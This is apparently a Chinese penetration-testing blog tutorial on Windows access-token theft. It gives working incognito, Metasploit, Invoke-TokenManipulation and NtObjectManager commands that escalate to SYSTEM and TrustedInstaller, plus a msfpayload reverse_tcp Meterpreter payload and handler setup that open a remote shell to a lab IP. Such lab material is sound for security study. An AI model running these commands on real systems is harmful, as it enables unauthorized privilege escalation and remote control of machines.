渗透技巧——Token 窃取与利用

发布于 2024-12-11 10:29:32 字数 9836 浏览 31 评论 0

0x00 前言

在之前的文章 《渗透技巧——程序的降权启动》 介绍了使用 SelectMyParent 降权的方法,本质上是通过 token 窃取实现的。这一次将要对 token 窃取和利用做进一步介绍,测试常用工具,分享利用技巧。

0x01 简介

本文将要介绍以下内容;

  • Token 简介
  • Metasploit 中的 incognito
  • Windows 平台下的 incognito
  • Invoke-TokenManipulation.ps1 用法
  • 利用 token 获得 system 权限
  • 利用 token 获得 TrustedInstaller 权限

0x02 Token 简介

Windows 有两种类型的 Token:

  • Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
  • Impersonation token(模拟令牌):用于非交互登录(利用 net use 访问共享文件夹)

注:

两种 token 只在系统重启后清除

具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token ,依旧有效

实际测试

使用 Test\a 登录后注销,再使用 administrator 登录

查看 token:

incognito.exe list_tokens -u

能够获取到已注销用户 Test\a 的 token,如下图

Alt text

利用该 token 执行 calc.exe:

incognito.exe execute -c "TEST\a" calc.exe

后台显示进程 calc.exe 的用户名为 a ,如下图

Alt text

0x03 Metasploit 中的 incognito

在 Metasploit 中,可使用 incognito 实现 token 窃取,常用命令如下:

加载 incognito: load incognito

列举 token: list_tokens -u

查看当前 token: getuid

提示至 system 权限: getsystem

token 窃取: impersonate_token "NT AUTHORITY\\SYSTEM"

从进程窃取: steal_token 1252

返回之前 token: rev2self or drop_token

实际测试

Client:

msfpayload -p windows/meterpreter/reverse_tcp LHOST=192.168.81.142 LPORT=44444 X >test.exe

Server:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 44444
set LHOST 192.168.81.142
exploit

执行 getsystem 获得 system 权限

pid 1252 的权限为当前用户,执行 steal_token 1252 , 将权限切换到 WIN-R7MM90ERBMD\a

如下图

Alt text

执行 impersonate_token "NT AUTHORITY\\SYSTEM" 将权限切换至 system

注:

需要加引号和双斜杠, "NT AUTHORITY\\SYSTEM"

执行 rev2self 返回之前 token,为 WIN-R7MM90ERBMD\a

如下图

Alt text

通过以上演示,成功通过 token 窃取实现权限切换

0x04 Windows 平台下的 incognito

Metasploit 中的 incognito,是从 windows 平台下的 incognito 移植过来的,下面介绍一下 windows 平台下的 incognito

下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

参考手册:http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf

常见用法如下:

列举 token: incognito.exe list_tokens -u

复制 token: incognito.exe execute [options] <token> <command>

实际测试

列举 token:

incognito.exe list_tokens -u

如下图

Alt text

提权至 system:

incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

如下图

Alt text

降权至当前用户:

incognito.exe execute -c "WIN-R7MM90ERBMD\a" cmd.exe

伪造用户:

incognito.exe execute -c "WIN-R7MM90ERBMD\b" cmd.exe

如下图

Alt text

0x05 Invoke-TokenManipulation.ps1 用法

下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

原理和功能同 incognito 类似,能够实际提权和降权

列举 token: Invoke-TokenManipulation -Enumerate

提权至 system: Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

复制进程 token: Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500

复制线程 token: Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

还有更多用法可参考该脚本说明

实际测试略

0x06 利用 token 获得 TrustedInstaller 权限

在 Windows 系统中,即使获得了管理员权限和 system 权限,也不能修改系统文件

因为 Windows 系统的最高权限为 TrustedInstaller

例如路径 C:\Windows\servicing

使用 system 权限无法在该路径创建文件

如下图

Alt text

查看文件夹属性,显示 system 不具有写入权限,只有 TrustedInstaller 可以

如下图

Alt text

关于如何获得 TrustedInstaller 权限,可参考 James Forshaw 的这篇文章,很值得学习:https://tyranidslair.blogspot.nl/2017/08/the-art-of-becoming-trustedinstaller.html

这里对其中的一个实例做测试,进而找到其他实现方法

启动 TrustedInstaller 服务会启动进程 TrustedInstaller.exe,位置为 C:\Windows\servicing\TrustedInstaller.exe ,查看该程序权限:

Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner

显示为 NT SERVICE\TrustedInstaller ,如下图

Alt text

James Forshaw 的实现思路为借用 TrustedInstaller.exe 的 token 创建子进程,这样子进程就有了 TrustedInstaller 权限,具体 powershell 代码如下:

Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p

powershell 默认不支持 Set-NtTokenPrivilege 命令,该模块需要下载安装

下载地址:https://www.powershellgallery.com/packages/NtObjectManager/1.1.1

安装命令:

Save-Module -Name NtObjectManager -Path c:\test
Install-Module -Name NtObjectManager

注:Save-Module 需要 powershell v5.0 支持,详情见:https://docs.microsoft.com/zh-cn/powershell/gallery/readme

因此测试系统选为 Win10,默认 powershell 版本为 5.0

导入该模块需要系统允许执行 powershell 脚本,因此先执行如下代码:

Set-ExecutionPolicy Unrestricted

导入模块 NtObjectManager:

Import-Module NtObjectManager

执行命令测试:

sc.exe start TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p

使用 whoami 查看当前 cmd 权限:

whoami /groups /fo list

发现当前 cmd.exe 在 TrustedInstaller 组里,成功获得 TrustedInstaller 权限

如下图

Alt text

接着按照 James Forshaw 文章中更新的内容,学习了 Vincent Yiu@vysecurity 的方法,使用 metasploit 下的 incognito 也能够获得 TrustedInstaller 权限

地址如下:https://twitter.com/vysecurity/status/899303538630774787

思路如下:

  • 启动服务 TrustedInstaller
  • 使用 incognito 获取 TrustedInstaller.exe 的 token
  • 获得 TrustedInstaller 权限

使用以下命令:

  • load incognito
  • getsytem
  • ps
  • steal_token 3204
  • getuid

按照这个思路,猜测使用 SelectMyParent 和 Invoke-TokenManipulation.ps1 也能获得 TrustedInstaller 权限

下面验证我们的判断

1、SelectMyParent

sc start TrustedInstaller
SelectMyParent.exe cmd.exe 1700

新的 cmd.exe 拥有 TrustedInstaller 权限

2、Invoke-TokenManipulation.ps1

添加如下代码即可:

sc.exe start TrustedInstaller
$id  = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id

注:sc 这个命令不能直接在 powershell 里面运行,powershell 会把它当作 set-content 的别名,可使用 sc.exe 在 powershell 里面运行 sc 命令

验证是否获得 TrustedInstaller 权限的方法

1、对特殊路径写文件

例如 C:\Windows\servicing ,如下图

Alt text

2、使用 powershell

Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner

回显为 NT SERVICE\TrustedInstaller

3、使用 whoami

whoami /groups | findstr TrustedInstaller

查看是否有回显

0x07 小结

本文介绍了 token 窃取的实现方法,使用多种工具来获得 system 权限和 TrustedInstaller 权限。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

文章
评论
27 人气
更多

推荐作者

alipaysp_snBf0MSZIv

文章 0 评论 0

梦断已成空

文章 0 评论 0

瞎闹

文章 0 评论 0

寄意

文章 0 评论 0

似梦非梦

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文